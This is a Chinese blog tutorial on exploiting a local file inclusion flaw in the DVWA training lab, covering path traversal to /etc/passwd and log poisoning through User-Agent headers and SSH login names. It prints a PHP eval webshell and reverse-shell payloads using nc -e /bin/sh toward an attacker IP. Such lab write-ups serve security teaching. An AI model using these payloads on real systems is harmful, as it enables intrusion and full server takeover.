当前位置:网站首页>文件包含之日志中毒(User-Agent)
文件包含之日志中毒(User-Agent)
2022-06-29 11:25:00 【墨痕诉清风】
目录
一、本地文件包含
本地文件包含漏洞指的是包含本地的php文件,而通过PHP文件包含漏洞入侵网站,可以浏览同服务器所有文件,并获得webshell。

看见?page=标志性注入点,提示我们输入?=page=index.php

通过报错,我们可以知道当前文件包含的目录路径是/var/www/dvwa/vulnerabilities/fi/
我们可以通过../../../../../etc/passwd 试一下能不能显示默认用户账户密码

发现可以访问。所以存在本地文件包含漏洞(LFI),你可以通过这种方法访问一些密码、敏感信息文件。
二、日志中毒
如何利用LFI漏洞获得反弹shell,完全控制目标主机?
通过注入恶意代码到可读的文件中,然后浏览它使恶意代码被执行,比如
/proc/self/environ
/var/log/auth.log
/var/log/apache2/access.log
通常使用日志文件完成,因为本地文件通常会注册或写入日志文件。
举个栗子:
打开burpsuite,开启代理。浏览器访问下面url抓取http包
http://192.168.164.129/dvwa/vulnerabilities/fi/?page=../../../../../proc/self/environ

发现会执行代理,那我们把包修改为php代码后转发试试。

修改完成,转发试试结果:

可以发现php代码被执行了。所以我们就可以将payload换成webshell.php中的php代码从而获得webshell。
比如注入一句话木马
<?php @eval($_POST['pass']);?>然后通过蚁剑连接。
获取反弹shell获得目标服务器的完全控制权
方法一:
本次换个方式,从文件上传那篇知道passthru("")函数是PHP执行系统命令的,这里使用netcat执行监听端口命令
构造payload为 <?passthru("nc -e /bin/sh 192.168.164.128 8888");?>

然后在kali上开启监听。

Forward改好的包结果如下:

成功控制目标主机。
方法二:/var/log/auth.log
访问日志文件

发现22端口是开启的,我们可以尝试用ssh登入看是否会被记录在日志文件中

以random账户登入,随便输给密码。然后刷新浏览器页面找到random,发现已经记录到了日志文件。

这说明,ssh后面的命令执行了,我们只要把命令替换成反弹shell的payload就ok了。
构造payload为 <?passthru('nc -e /bin/sh 192.168.164.128 8888');?>
开启监听,同时ssh登入。

这里命令需要进行base64编码,编码结果如下:


最后ssh回车车,刷新浏览器页面,执行注入命令反弹shell连接攻击主机。

成功控制目标主机。
边栏推荐
猜你喜欢
![[VTK] MFC grid editor based on vtk8.2](/img/c5/d0f070ccb819fc682855319b7415e0.png)
[VTK] MFC grid editor based on vtk8.2

QT learning 15 separation of user interface and business logic

杰理之关于 TWS 声道配置【篇】

& 4 express framework

跟着官方学电机,BLDC两种控制策略,学到即赚到

申请uniapp离线打包时的AppKey
![Jerry's about TWS channel configuration [chapter]](/img/2c/58a49dea7a7931c4d1f055548c2493.png)
Jerry's about TWS channel configuration [chapter]
联想领像 lenovoimage 部分打印机 驱动 PPD 文件

Win11 web version

& 3 view request message and response message in browser
随机推荐
合约量化交易系统玩法开发 (现成案例分析)
小白学习MySQL - 增量统计SQL的需求 - 开窗函数的方案
AutoCAD - text display mode and how CAD can directly open Tianzheng drawings
SOFARegistry 源码|数据同步模块解析
Object 类——万类之父
杰理之关于 TWS 配对方式配置【篇】
这个EMR-SparkSQL节点,他查询的表是不是ODPS的啊?
leetcode刷题:字符串07(重复的子字符串)
Deep understanding of volatile keyword
什么是外链和内链?
每周推荐短视频:爱因斯坦是怎样思考问题的?
Information technology application and innovation professionals (database) intermediate training hot enrollment (July 6-10)
TTChat x Zadig 开源共创 Helm 接入场景,环境治理搞得定!
Equals increases execution speed / performance optimization
[VTK] MFC grid editor based on vtk8.2
面试高并发,凉了!!(全程高能,建议收藏)
Safety innovation practice | Haitai Fangyuan was invited to participate in the technical exchange Seminar on "network information innovation and value co creation in the digital age"
RepOptimizer: 其实是RepVGG2
MariaDB的安装与配置
2022 amination process test question simulation test question bank and online simulation test